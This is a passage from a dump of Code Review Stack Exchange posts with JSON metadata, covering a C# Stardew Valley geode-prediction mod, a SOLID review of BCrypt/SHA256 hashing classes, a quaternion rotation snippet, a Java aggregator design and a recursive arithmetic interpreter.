} /// &lt;summary&gt; /// Get the stardew objects from the Data/ObjectInformation.xnb file /// &lt;/summary&gt; /// &lt;returns&gt;The list of objects&lt;/returns&gt; public IEnumerable&lt;StardewValley.Object&gt; GetStardewObjects() { foreach (var rawObject in GetStardewRawObjects()) { yield return new StardewValley.Object(rawObject.Key, initialStack: 0, isRecipe: false, price: -1, quality: 0); } } /// &lt;summary&gt; /// Gets raw stardew objects from the Data/ObjectInformation file /// &lt;/summary&gt; /// &lt;returns&gt;Raw stardew objects&lt;/returns&gt; public IDictionary&lt;int, string&gt; GetStardewRawObjects() { return Helper.Content.Load&lt;Dictionary&lt;int, string&gt;&gt;("Data/ObjectInformation", ContentSource.GameContent); } } } </code></pre> <p>In general, I want to be able to represent objects in one of two ways:</p> <ol> <li>As an actual <code>StardewValley.Object</code> (that I very inelegantly create in <code>GetStardewObjects</code></li> <li>As an object id, and string representation of that object</li> </ol> <p>My interface is intended to let me generically have a way to get the list of objects in the game, and then my implementation of it just dumps all of the objects in the <code>Data/ObjectInformation</code> xnb file. </p> <p><strong>Question</strong> - is my direct usage of <code>StardewValley.Object</code> a sign of poor encapsulation? I could certainly create some new interface and class that represents the parts of an object I care about, and provide methods (probably an implicit conversion) to transform to the forms I care about, but ultimately I need the literal <code>StardewValley.Object</code> for my later functionality. I'm not sure that this is worth changing anything.</p> <h3>Actually getting geodes</h3> <p>Now that I've made my shared code (because I want to leverage it for future mods), I need to actually use it. To that end, I create a service interface for retrieving geodes, and a calculator interface that puts it all together.</p> <p><strong>Question</strong> - I'm using service and provider in different places, and it makes sense to me, but are there better names I could be using? I strongly dislike the name factory, and would like to avoid that.</p> <pre><code>using Dannnno.StardewMods.Predictor.Shared; using System.Collections.Generic; namespace Dannnno.StardewMods.Predictor.Geodes { /// &lt;summary&gt; /// Service that returns geode objects /// &lt;/summary&gt; /// &lt;typeparam name="IProviderType"&gt;The provider that can yield the data&lt;/typeparam&gt; public interface IGeodeService&lt;IProviderType&gt; where IProviderType : IStardewObjectProvider { /// &lt;summary&gt; /// Get the geode objects this service is aware of /// &lt;/summary&gt; /// &lt;param name="provider"&gt;The provider that will yield stardew objects to select geodes from&lt;/param&gt; /// &lt;returns&gt;Enumeration of the known geode kinds&lt;/returns&gt; public IEnumerable&lt;StardewValley.Object&gt; RetrieveGeodes(IProviderType provider); } /// &lt;summary&gt; /// Standard interface for calculating the geode's contents /// &lt;/summary&gt; public interface IGeodeTreasureCalculator { /// &lt;summary&gt; /// Get the treasure from a geode /// &lt;/summary&gt; /// &lt;param name="geode"&gt;The geode to get the treasure from&lt;/param&gt; /// &lt;returns&gt;Buried gold&lt;/returns&gt; public StardewValley.Object GetTreasureFromGeode(StardewValley.Object geode); } } </code></pre> <p>These interfaces give me the ways I can figure out the way to retrieve the geodes. Their implementations:</p> <pre><code>using Dannnno.StardewMods.Predictor.Shared; using System.Collections.Generic; using StardewValley; namespace Dannnno.StardewMods.Predictor.Geodes { /// &lt;summary&gt; /// Implementation of a stardew geode service that uses the string "Geode" to identify geodes /// &lt;/summary&gt; public class StardewGeodeService&lt;ProviderType&gt; : IGeodeService&lt;ProviderType&gt; where ProviderType : IStardewObjectProvider { /// &lt;summary&gt; /// Get the set of geode objects from game data /// &lt;/summary&gt; /// &lt;param name="provider"&gt;The data provider to get objects from&lt;/param&gt; /// &lt;returns&gt;Enumerable over the geode objects in game data&lt;/returns&gt; public IEnumerable&lt;StardewValley.Object&gt; RetrieveGeodes(ProviderType provider) { foreach (var stardewObject in provider.GetStardewRawObjects()) { if (IsObjectInfoAGeode(stardewObject.Value)) { yield return new StardewValley.Object(stardewObject.Key, 0); // Stack count doesn't matter } } } /// &lt;summary&gt; /// Determine whether a given record from Data/ObjectInformation is a geode /// &lt;/summary&gt; /// &lt;param name="key"&gt;The key of the record&lt;/param&gt; /// &lt;param name="objectInformation"&gt;The string literal from the object information&lt;/param&gt; /// &lt;returns&gt;Whether the object is a geode&lt;/returns&gt; /// &lt;remarks&gt;This is currently really stupid, and just does a check for the strings "Geode" and "geode"&lt;/remarks&gt; private bool IsObjectInfoAGeode(string objectInformation) { return objectInformation.Contains("Geode") || objectInformation.Contains("geode"); } } /// &lt;summary&gt; /// Standard method of calculating treasures /// &lt;/summary&gt; public class StardewGeodeCalculator : IGeodeTreasureCalculator { /// &lt;summary&gt; /// Get the treasure from the geode /// &lt;/summary&gt; /// &lt;param name="geode"&gt;The geode&lt;/param&gt; /// &lt;returns&gt;The treasure&lt;/returns&gt; public Object GetTreasureFromGeode(Object geode) { return Utility.getTreasureFromGeode(geode); // Why copy the method when we can just use the game's? } } } </code></pre> <p>A few tidbits:</p> <ul> <li>Right now the way I distinguish between a geode and a non-geode is pretty dumb. Open to suggestions, but it works well enough for the current scope</li> <li><code>Utility.getTreasureFromGeode</code> is the actual function the game uses to get what treasure cracking a given geode will return. This is the implementation of option 2 above</li> </ul> <h3>The big reveal</h3> <p>Like I mentioned earlier, we just need the seed:</p> <ul> <li>The number of geodes cracked so far</li> <li>The unique Game ID</li> </ul> <p>We have those already (game ID is handled for us), and I also have a way to modify the current number of geodes cracked. To that end, if I tweak the current number of geodes, then call <code>StardewGeodeCalculator.GetTreasureFromGeode</code> I will get what that geode would give me at that count. This lets me look forward (or backward) as far as I would like. My implementation of that:</p> <pre><code>using Dannnno.StardewMods.Predictor.Shared; using StardewModdingAPI; using System; using System.Collections.Generic; using System.Diagnostics.Contracts; using System.Linq; namespace Dannnno.StardewMods.Predictor.Geodes { /// &lt;summary&gt; /// The set of directions we can predict in /// &lt;/summary&gt; public enum PredictionDirectionEnum { Forwards, Backwards } /// &lt;summary&gt; /// Predicts what new geode objects will be found /// &lt;/summary&gt; public class GeodePredictor { #region fields private IGeodeService&lt;IStardewObjectProvider&gt; geodeService; private IStardewObjectProvider objectProvider; private Lazy&lt;IList&lt;StardewValley.Object&gt;&gt; geodeList; #endregion #region properties /// &lt;summary&gt; /// Get or set the service used to retrieve the geodes /// &lt;/summary&gt; public IGeodeService&lt;IStardewObjectProvider&gt; GeodeService { get =&gt; geodeService; set { geodeService = value; InitializeCache(); } } /// &lt;summary&gt; /// Get the list of geodes that this predictor can work on /// &lt;/summary&gt; public IList&lt;StardewValley.Object&gt; GeodeList { get =&gt; geodeList.Value; } /// &lt;summary&gt; /// Get or set the provider of geode objects /// &lt;/summary&gt; public IStardewObjectProvider ObjectProvider { get =&gt; objectProvider; set { objectProvider = value; InitializeCache(); } } /// &lt;summary&gt; /// Get or set how to calculate geode contents /// &lt;/summary&gt; public IGeodeTreasureCalculator GeodeCalculator { get; set; } /// &lt;summary&gt; /// Get or set the associated game /// &lt;/summary&gt; public IStardewGame Game { get; set; } /// &lt;summary&gt; /// Get or set the associated monitor /// &lt;/summary&gt; public IMonitor Monitor { get; set; } /// &lt;summary&gt; /// Get or set the predictions we've made /// &lt;/summary&gt; private IDictionary&lt;uint, IDictionary&lt;StardewValley.Object, StardewValley.Object&gt;&gt; CachedPredictions { get; set; } #endregion /// &lt;summary&gt; /// Create a new predictor /// &lt;/summary&gt; /// &lt;param name="service"&gt;The service to use to predict geodes&lt;/param&gt; /// &lt;param name="provider"&gt;The provider to retrieve objects from&lt;/param&gt; /// &lt;param name="game"&gt;The game this predictor is associated with&lt;/param&gt; /// &lt;param name="calculator"&gt;The calculator that will return the geode's treasure&lt;/param&gt; /// &lt;param name="monitor"&gt;The monitor to log to&lt;/param&gt; public GeodePredictor(IGeodeService&lt;IStardewObjectProvider&gt; service, IStardewObjectProvider provider, IStardewGame game, IGeodeTreasureCalculator calculator, IMonitor monitor = null) { GeodeService = service; ObjectProvider = provider; Game = game; Monitor = monitor; GeodeCalculator = calculator; InitializeCache(); } /// &lt;summary&gt; /// Empty the cache and start over /// &lt;/summary&gt; private void InitializeCache() { CachedPredictions = new Dictionary&lt;uint, IDictionary&lt;StardewValley.Object, StardewValley.Object&gt;&gt;(); geodeList = new Lazy&lt;IList&lt;StardewValley.Object&gt;&gt;(() =&gt; GeodeService.RetrieveGeodes(ObjectProvider).ToList()); } /// &lt;summary&gt; /// Predict the treasures that a geode `distance` items away will return /// &lt;/summary&gt; /// &lt;param name="distance"&gt;How far ahead to look&lt;/param&gt; /// &lt;param name="direction"&gt;The direction to look&lt;/param&gt; /// &lt;returns&gt;For each kind of geode we can predict, the associated result&lt;/returns&gt; public IDictionary&lt;StardewValley.Object, StardewValley.Object&gt; PredictTreasureFromGeodeAtDistance(uint distance = 1, PredictionDirectionEnum direction = PredictionDirectionEnum.Forwards) { uint actualSearchIndex = direction switch { PredictionDirectionEnum.Backwards =&gt; distance &gt; Game.GeodeCount ? Game.GeodeCount : Game.GeodeCount - distance, PredictionDirectionEnum.Forwards =&gt; Game.GeodeCount + distance, _ =&gt; Game.GeodeCount }; return PredictTreasureFromGeodeAtIndex(actualSearchIndex); } /// &lt;summary&gt; /// Predict the treasures that will come from geodes in a span ahead and behind of our current count /// &lt;/summary&gt; /// &lt;param name="distanceAhead"&gt;How far ahead to peek&lt;/param&gt; /// &lt;param name="distanceBehind"&gt;How far behind to look&lt;/param&gt; /// &lt;returns&gt;The treasures found&lt;/returns&gt; public IEnumerable&lt;IDictionary&lt;StardewValley.Object, StardewValley.Object&gt;&gt; PredictTreasureFromGeodeByRangeDistance(uint distanceAhead, uint distanceBehind) { uint startIndex = Game.GeodeCount &lt; distanceBehind ? Game.GeodeCount : Game.GeodeCount - distanceBehind; uint endIndex = Game.GeodeCount + distanceAhead; return PredictTreasureFromGeodesInRange(startIndex, endIndex); } /// &lt;summary&gt; /// Predict the treasures that a geode at a given count will return /// &lt;/summary&gt; /// &lt;param name="actualGeodeCount"&gt;The geode count to check&lt;/param&gt; /// &lt;returns&gt;The treasures found&lt;/returns&gt; private IDictionary&lt;StardewValley.Object, StardewValley.Object&gt; PredictTreasureFromGeodeAtIndex(uint actualGeodeCount) { return PredictTreasureFromGeodesInRange(actualGeodeCount, actualGeodeCount).First(); } /// &lt;summary&gt; /// Predict the treasures that geodes within a range will return /// &lt;/summary&gt; /// &lt;param name="firstGeodeCount"&gt;The first to check&lt;/param&gt; /// &lt;param name="lastGeodeCount"&gt;The last to check&lt;/param&gt; /// &lt;returns&gt;The treasures found&lt;/returns&gt; private IEnumerable&lt;IDictionary&lt;StardewValley.Object, StardewValley.Object&gt;&gt; PredictTreasureFromGeodesInRange(uint firstGeodeCount, uint lastGeodeCount) { Contract.Requires(firstGeodeCount &lt;= lastGeodeCount, "The first count must not be greater than the last count"); var results = new List&lt;IDictionary&lt;StardewValley.Object, StardewValley.Object&gt;&gt;(); using (Game.WithTemporaryChanges(Monitor)) { for (; firstGeodeCount &lt; lastGeodeCount; ++firstGeodeCount) { if (!CachedPredictions.ContainsKey(firstGeodeCount)) { // Temporarily modify the current geode count Game.GeodeCount = firstGeodeCount; CachedPredictions[firstGeodeCount] = GeodeList.ToDictionary(geodeKind =&gt; geodeKind, geodeKind =&gt; GeodeCalculator.GetTreasureFromGeode(geodeKind)); } results.Add(CachedPredictions[firstGeodeCount]); } } // Don't use yield return because we don't want to hold the context manager for too long return results; } } } </code></pre> <p>Things to note about this:</p> <ul> <li>I want to avoid repeatedly recalculating the value. As long as the service and provider I'm using remain valid, I keep a cache. If those change, then I need to refresh the cache</li> <li>I also try to use lazy-initialized values where possible</li> <li>I use an <code>IMonitor</code>; this is a tool SMAPI gives me to do logging</li> <li>To actually check, I do a look-ahead/-behind for where to search, which under the hood resolves into an absolute value of geodes cracked so far</li> <li>Within a temporary scope, I modify the number of cracked geodes, and then get the values. </li> </ul> <p>At this point, the implementation of <code>GameStateContextManager</code> and <code>StardewManagedProperty</code> matters, so that is below:</p> <pre><code>using StardewModdingAPI; using System; using System.Collections.Generic; using System.Linq; using System.Reflection; namespace Dannnno.StardewMods.Predictor.Shared { /// &lt;summary&gt; /// Attribute that indicates a property is managed in the StardewValley game /// &lt;/summary&gt; [AttributeUsage(AttributeTargets.Property)] public class StardewManagedPropertyAttribute : Attribute { } /// &lt;summary&gt; /// Class to manage state in Game1 that I might modify /// &lt;/summary&gt; public class GameStateContextManager : IDisposable { /// &lt;summary&gt; /// Get the original values in all managed properties /// &lt;/summary&gt; private IDictionary&lt;string, object&gt; ManagedPropertyOriginalValues { get; set; } /// &lt;summary&gt; /// Get the monitor to use for logging /// &lt;/summary&gt; private IMonitor Monitor { get; set; } /// &lt;summary&gt; /// Get the game whose properties we want to rollback /// &lt;/summary&gt; private IStardewGame Wrapper { get; set; } /// &lt;summary&gt; /// Get the list of properties we need to manage /// &lt;/summary&gt; private IList&lt;PropertyInfo&gt; ManagedProperties { get; set; } /// &lt;summary&gt; /// Create a new instance of the context manager, with initial Game1 values /// &lt;/summary&gt; /// &lt;param name="wrapper"&gt;The game object we are going to be rolling back&lt;/param&gt; /// &lt;param name="monitor"&gt;The monitor to log debug messages to, if desired&lt;/param&gt; public GameStateContextManager(IStardewGame wrapper, IMonitor monitor = null) { Wrapper = wrapper; Monitor = monitor; ManagedPropertyOriginalValues = new Dictionary&lt;string, object&gt;(); ManagedProperties = wrapper.GetType() .GetProperties() .Where(prop =&gt; Attribute.IsDefined(prop, typeof(StardewManagedPropertyAttribute))) .ToList(); foreach (var prop in ManagedProperties) { var value = prop.GetValue(wrapper); ManagedPropertyOriginalValues[prop.Name] = value; Monitor?.Log($"Current[{prop.Name}]: {value}"); } } #region IDisposable Support private bool disposedValue = false; // To detect redundant calls protected virtual void Dispose(bool disposing) { if (!disposedValue) { if (disposing) { // TODO: dispose managed state (managed objects). // Reset the modified game stats foreach (var prop in ManagedProperties) { var value = prop.GetValue(Wrapper); var original = ManagedPropertyOriginalValues[prop.Name]; if (value != original) { prop.SetValue(Wrapper, original); Monitor?.Log($"Current[{prop.Name}]: {value}, resetting to: {original}"); } } } // TODO: free unmanaged resources (unmanaged objects) and override a finalizer below. // TODO: set large fields to null. disposedValue = true; } } // TODO: override a finalizer only if Dispose(bool disposing) above has code to free unmanaged resources. // ~GameStatContextManager() // { // // Do not change this code. Put cleanup code in Dispose(bool disposing) above. // Dispose(false); // } // This code added to correctly implement the disposable pattern. public void Dispose() { // Do not change this code. Put cleanup code in Dispose(bool disposing) above. Dispose(true); // TODO: uncomment the following line if the finalizer is overridden above. // GC.SuppressFinalize(this); } #endregion } } </code></pre> <p>With a disposable object, I track certain properties for changes, and on dispose I undo those changes. This is not thread safe, which is a future planned enhancement but is not required in current state.</p> <p>My implementation of <code>GeodePredictor</code> is the thing I dislike the most. I think I got lazy with encapsulation, but when I try to think of alternatives it gets tricky. For example:</p> <ul> <li><code>GeodePredictor</code> should almost certainly not be converting the look-ahead/-behind to an index, but if I don't do that then the caching behavior is either gone or much harder to write. I thought about pushing it down into <code>StardewGeodeCalculator</code>, but that doesn't feel quite right either</li> <li>It should also not be making the temporary scope changes, but if I push that down then the rollback has to happen for every prediction, instead of just once. That isn't the end of the world, but I'd rather do one large rollback than a lot of small ones. I suppose the interface could expose some transactional concept, but that feels like a worse encapsulation leak</li> </ul> <p>This is the part I'm maybe most interested in feedback on</p> <hr> <h2>Summary</h2> <ol> <li>I made a mod. Its pretty fun, and once I get the UI working I might post that for review</li> <li>I tried to implement dependency injection to create a looser coupling between the game and my code, but in some places this slipped</li> </ol>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T16:24:17.063", "Id": "453264", "Score": "0", "body": "Could you explain a little bit more about \"finding geodes\" (in the Goal part). I'm trying to wrap my head around how it works. In a method of the code you talk about \"distance\", but it's not explained at the beginning and as someone who never heard of that game I'm confused, but I'd like to post a review anyways since it's an interesting post." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-11T16:30:57.270", "Id": "453269", "Score": "0", "body": "@IEatBagels I moved my section about how the game determines it up there, and added how I use `distance` and `index` in reference to the geodes." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T04:03:43.613", "Id": "231931", "Score": "10", "Tags": [ "c#", "game", "dependency-injection", "interface" ], "Title": "Geode Contents Predictor StardewValley Mod" }
231931
<p>I have recently learnt SOLID patterns and started practicing them. I did follow all the guidelines but was thinking for a final review from experts if possible.</p> <p><strong>What is the code about ?</strong></p> <p>It encrypts any given string and outputs a hash.</p> <p><strong>Code</strong></p> <pre><code>interface IHash { string Hash(); } // Abstract class implements interface public abstract class Encrypt : IHash { protected string _toBeHashed { get; private set; } public Encrypt(string toBeHashed) { _toBeHashed = toBeHashed; } public abstract string Hash(); } // Encrypt using BCrypt.NET library public class BcryptEncrypt : Encrypt { // Store string value public BcryptEncrypt(string password) : base(password) { } // Output hash public override string Hash() =&gt; BCrypt.Net.BCrypt.HashPassword(this._toBeHashed); } // Encrypt using SHA256 public class SHA256Encrypt : Encrypt { // Store string value public SHA256Encrypt(string password) : base(password) { } // Output hash public override string Hash() { using (SHA256 hash = SHA256Managed.Create()) { return String.Concat(hash.ComputeHash(Encoding.UTF8.GetBytes(this._toBeHashed)).Select(item =&gt; item.ToString("x2"))); } } } </code></pre> <p><strong>My understanding</strong></p> <p><strong>S</strong> - Single Responsibility Principle</p> <ul> <li>BcryptEncrypt only focuses on generating a hash for string</li> <li>It does not focus on decryption, storing or getting hash from database</li> <li>Same can be said for SHA256</li> </ul> <p><strong>O</strong> - Open/Closed Principle</p> <ul> <li>BcryptEncrypt is derived from abstract class Encrypt which implements interface IHash</li> <li>New hashing classes can be created using different hashing algorithms through abstract class</li> <li>Encryption of string is open for extension, closed for modification through abstract method</li> </ul> <p><strong>L</strong> - Liskov Substitution Principle</p> <ul> <li>Due to the usage of abstract method, this principle is already implemented</li> <li>Testing showed SHA256 hash to be same</li> </ul> <p><strong>I</strong> - Interface Segregation Principle</p> <ul> <li>Because there is only one method in interface, by default this principle is obeyed</li> </ul> <p><strong>D</strong> - Dependency Inversion Principle</p> <ul> <li>Not applicable, I think</li> </ul> <p><strong>Question: Am I doing it right ?</strong></p> <p><strong>Attributions:</strong></p> <p><a href="https://code-maze.com/solid-principles/" rel="noreferrer">Tutorial followed and used similar design</a></p> <p><a href="https://stackoverflow.com/a/17001289/7116068">SHA256 hash generating code</a></p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:40:45.587", "Id": "452660", "Score": "4", "body": "_\"Is this code SOLID?\"_ SOLID is not a binary state. It's a spectrum. Nothing every is perfectly SOLID, simply because (a) in fringe cases the principles start contradicting each other and/or (b) everything can always be abstracted one more level, but that doesn't mean it's useful. Try not to think of SOLID as a yes/no rule, but rather as a guideline that you implement to a reasonable degree." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:49:14.057", "Id": "452663", "Score": "4", "body": "A sidenote: you are mixing the concepts of hashing and encryption. Hashing is a one-way, irreversible operation, mapping an input value to a fixed-length hash output. A small, even 1 char, change in input gives a big change in output. Encryption is a reversible process: You can encrypt something and decrypt the output. Both BCrypt and SHA256 that you use are hash functions." } ]
[ { "body": "<blockquote>\n<p>D - Dependency Inversion Principle</p>\n<p>Not applicable, I think</p>\n</blockquote>\n<p>Classes should depend on abstractions and not concretions (paraphrased).</p>\n<p>You have the interface and abstract class definition that can be used by consumers of your types. This allows consumers of your library the ability to apply DI.</p>\n<p>That said, the code, as is, looks to be following the <em>spirit</em> of the principal.</p>\n<p>My preference is to keep things simple (KISS).</p>\n<h3><a href=\"https://deviq.com/explicit-dependencies-principle/\" rel=\"noreferrer\">Explicit Dependencies Principle</a></h3>\n<blockquote>\n<p>Methods and classes should explicitly require (typically through\nmethod parameters or constructor parameters) any collaborating objects\nthey need in order to function correctly.</p>\n</blockquote>\n<p>Which you also appear to be following.</p>\n<p>If a type is to be used and reused externally you should put yourself in the shoes of those using your type and possible pain points.</p>\n<p>If <code>Encrypt</code> is to be used as a dependency</p>\n<pre><code>//cto\npublic SomeClass(Encrypt encrypt) {\n //...\n}\n</code></pre>\n<p>Some DI containers may have issue with activating implementations based on the string constructor argument. But I also see that as an implementation concern.</p>\n<p>Code should also be intuitive. It should be genuine to its intent/responsibility</p>\n<p>You stated</p>\n<blockquote>\n<p>It encrypts any given string and outputs a hash.</p>\n</blockquote>\n<p>The initial interface</p>\n<pre><code>interface IHash\n{\n string Hash();\n}\n</code></pre>\n<p>could be implemented to hash not just strings.</p>\n<p>Even the wording of the sentence can influence the design</p>\n<pre><code>//It encrypts any given string and outputs a hash.\npublic interface IEncrypt {\n string Hash(string input);\n}\n</code></pre>\n<p>Have a look at the following</p>\n<pre><code>// Abstract class implements interface\npublic abstract class Encrypt : IEncrypt\n{ \n public abstract string Hash(string password);\n}\n\n// Encrypt using BCrypt.NET library\npublic class BcryptEncrypt : Encrypt\n{ \n // Output hash\n public override string Hash(string password) =&gt; BCrypt.Net.BCrypt.HashPassword(password);\n}\n\n// Encrypt using SHA256\npublic class SHA256Encrypt : Encrypt\n{\n // Output hash\n public override string Hash(string password)\n {\n using (SHA256 hash = SHA256Managed.Create())\n {\n return String.Concat(hash.ComputeHash(Encoding.UTF8.GetBytes(password)).Select(item =&gt; item.ToString(&quot;x2&quot;)));\n }\n }\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T11:18:11.640", "Id": "231947", "ParentId": "231932", "Score": "5" } } ]
{ "AcceptedAnswerId": "231947", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T04:04:33.660", "Id": "231932", "Score": "5", "Tags": [ "c#", "design-patterns" ], "Title": "Is this code SOLID?" }
231932
<p>I have some code which transforms a transformation on quaternions and works. But it is written pretty badly, does someone know how to write this better/shorter and does someone knows, if this entire transformation is a transformation 90 degrees on y in euler angles?</p> <p>Edit: I get a quaternion (orix, oriy, oriz, oriw), then I use this transformation, which should be -pi/2 around y (but I am not sure), then I got the output quaternion. There is no code missing, this code functions as it is here. (of course with the right imports, tf2.</p> <pre><code> tf2::Quaternion quat(orix, -oriy, oriz, oriw); tf2::Quaternion q_rot; tf2::Vector3 rotation_vector(0.7071068, 0, 0.7071068); q_rot.setRotation(rotation_vector, M_PI); quat = q_rot*quat; quat.normalize(); tf2::Matrix3x3 matrix(quat); tf2::Matrix3x3 change_y(1,0, 0, 0, -1,0 ,0 ,0, 1); matrix = change_y * matrix; double roll, pitch, yaw; matrix.getRPY(roll, pitch, yaw); quat.setRPY(roll,pitch,yaw);<span class="math-container">`</span> </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:48:35.677", "Id": "452613", "Score": "0", "body": "If you're not sure if/how this code does what it should, we can't help you. On top of that, there's a lot of code missing that's essential context for a proper review. In it's current state, we can't help you with this question." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T06:48:55.437", "Id": "452614", "Score": "0", "body": "Please take a look at the [help/on-topic]." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T04:38:32.293", "Id": "231933", "Score": "1", "Tags": [ "c++" ], "Title": "How to do a proper quaternion transformation?" }
231933
<p>suppose i have a class called Sequence which accepts Aggregate functions and i have a class Aggregator which does the aggregation</p> <pre><code>public abstract class Aggregator{ public abstract Object DoAggregate(List&lt;Object&gt;Elements o); } </code></pre> <p>I also have the following interface to Accept an aggregator</p> <pre><code>Interface IAggregator{ Object AcceptAggregator(Aggregator A); } </code></pre> <p>The Sequence class implements the interface IAggregator inorder to accept aggregation</p> <pre><code>public abstract class Sequence implements IAggregator, Iterable { protected Scanner Buf ; protected List&lt;Object&gt; Elements; public abstract void Generate(); public abstract void AcceptTransformer(Transformer T); public Sequence(){ this.Buf = new Scanner(System.in); Elements = new ArrayList&lt;Object&gt;(); } public void PrintSequence(){ System.out.println(Elements); } public List&lt;Object&gt; Replace(List&lt;Object&gt; temp){ this.Elements.clear(); this.Elements.addAll(temp); return this.Elements; } // A method to copy a sequence to another and return it @Override public Iterator GetIterator() { return new SequenceIterator(); } public class SequenceIterator extends Iterator{ // Inner class private int index = 0; public SequenceIterator(){ index = 0; } @Override public boolean HasNext() { return index &lt; Sequence.this.Elements.size(); } @Override public Object GetNext() { return Sequence.this.Elements.get(index++); } } } </code></pre> <p>and i have a SumAggregator class</p> <pre><code> public class SumAggregate extends Aggregator { @Override public Object DoAggregate(List&lt;Object&gt; Cur) { int Summarize = 0; for(Object x: Cur){ Summarize+=(int)x; // cast object to int } return Summarize; } } </code></pre> <p>and i have a class numerical sequence which inherits the class sequence</p> <pre><code>public class Numerical extends Sequence { public Numerical(){ super(); // Base Class constructor } @Override public void Generate() { // get the list from a file File file = new File("Numbers.txt"); try{ Scanner ff = new Scanner(file); while(ff.hasNextInt()) Elements.add(ff.nextInt()); }catch (FileNotFoundException e){ // in case file is not found e.printStackTrace(); } } @Override public Object AcceptAggregator(Aggregator Ag) { return (Ag.DoAggregate((List)this.Elements)); // Cast it to List } } </code></pre> <p>and the main function looks something like this </p> <pre><code> public class Main { public static void main(String[] args) { Sequence CurrentSequence = new Numerical(); //Create Numerical sequence CurrentSequence.Generate();//Generate Numerical Sequence off a file CurrentSequence.PrintSequence(); // Print Generated Numerical Sequence int Sum = (int)CurrentSequence.AcceptAggregator(new SumAggregate()); // Get Summation of Sequence through an aggregator System.out.println(Sum);// Print Summation Iterator It = CurrentSequence.GetIterator(); while(It.HasNext()) System.out.print(It.GetNext()+" "); // Iterator through list using Iterator } } </code></pre> <p>what is the best way to use the user-defined iterator in the DoAggregate method? I thought of making the SumAggregator as an inner class in the Sequence and extending the SequenceIterator class but i think this approach is flawed because if i have a DataStructure for example then i could use the same method SumAggregator on it just with different itertaion process.</p> <p>Output//</p> <pre><code>[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 3, 5, 1, 63, 63, 3, 13, 61, 3, 12, 56, 1, 3, 5, 6, 2, 66, 93, 1, 3, 678, 7, 3] 1242 1 2 3 4 5 6 7 8 9 10 11 12 13 3 5 1 63 63 3 13 61 3 12 56 1 3 5 6 2 66 93 1 3 678 7 3 </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T13:15:03.887", "Id": "452680", "Score": "1", "body": "Hello Joe, I think your question might be a better fit for SoftwareEngineering SE, you should read their guidelines before posting though. Questions about best practices/open discussions aren't a good fit for CodeReview :)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T16:10:59.300", "Id": "452711", "Score": "0", "body": "@IEatBagels I am not sure you are right: https://codereview.meta.stackexchange.com/questions/302/best-practice-questions I am voting to keep this open if Joe can provide us with a working `main()` and some test data and results." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T18:02:15.793", "Id": "452727", "Score": "0", "body": "@konijn You're right that I might not have given the best reason. As you said, there's a lack of context though." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T22:30:22.467", "Id": "452746", "Score": "0", "body": "@konijn Edited. Thank you!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-08T21:04:35.493", "Id": "452995", "Score": "0", "body": "Please see [why we can't accept hypothetical code](https://codereview.meta.stackexchange.com/q/1709/52915)." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T05:55:13.127", "Id": "231936", "Score": "1", "Tags": [ "java" ], "Title": "Using user-defined iterators in user defined aggregators" }
231936
<p>Here is the description of the problem.</p> <blockquote> <p>Write a simple interpreter which understands "+", "-", and "*" operations. Apply the operations in order using command/arg pairs starting with the initial value of <code>value</code>. If you encounter an unknown command, return -1. </p> <p>Example: <br> interpret(1, ["+"], [1]) → 2 <br> interpret(4, ["-"], [2]) → 2 <br> interpret(1, ["+", "*"], [1, 3]) → 6 <br></p> </blockquote> <p>I'm trying to implement this function using recursion. Here is my implementation. </p> <pre><code>public int interpret(int value, String[] commands, int[] args) { // base case if (commands.length == 0 &amp;&amp; args.length == 0) { return value; } // Get top command and arg to calculate value final String cmd = commands[0]; final int arg = args[0]; // Construct remaining commands and args for recursion final int[] remainArgs = Arrays.copyOfRange(args, 1, args.length); final String[] remainCommands = Arrays.copyOfRange(commands, 1, commands.length); switch (cmd) { case "*": return interpret(value * arg, remainCommands, remainArgs); case "+": return interpret(value + arg, remainCommands, remainArgs); case "-": return interpret(value - arg, remainCommands, remainArgs); default: // unknown command return -1 return -1; } } </code></pre> <p>Please comment on my implementation in regarding to code readability and efficiency. Please also share your implementation if you have a better idea. Thanks.</p>
[]
[ { "body": "<p>You don't need to use recursion here, commands and args array have the same size you can simply loop through it. </p>\n\n<pre><code>long result=value;\nfor (int i=0; i&lt;commands.length;i++) {\n result = calc(result, commands[i], args[i]);\n}\n</code></pre>\n\n<p>And you need to check size of arrays before use, to prevent ArrayIndexOutOfBoundsException</p>\n\n<pre><code>if (commands.length != args.length)\n return -1;\n</code></pre>\n\n<p>P.S. You work with int, but result can be larger than <code>Integer.MAX_VALUE</code>, therefore use <code>long</code> type for result</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T08:59:55.223", "Id": "452629", "Score": "0", "body": "What if the result is larger than Long.MAX_VALUE?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T09:47:10.507", "Id": "452649", "Score": "1", "body": "@RoToRa, I meant: if you use long as result you can check Integer overflow\nif (result> Integer.MAX_VALUE) || (result < Integer.MIN_VALUE) return -1 or throw OverflowException." } ], "meta_data": { "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T07:05:44.483", "Id": "231941", 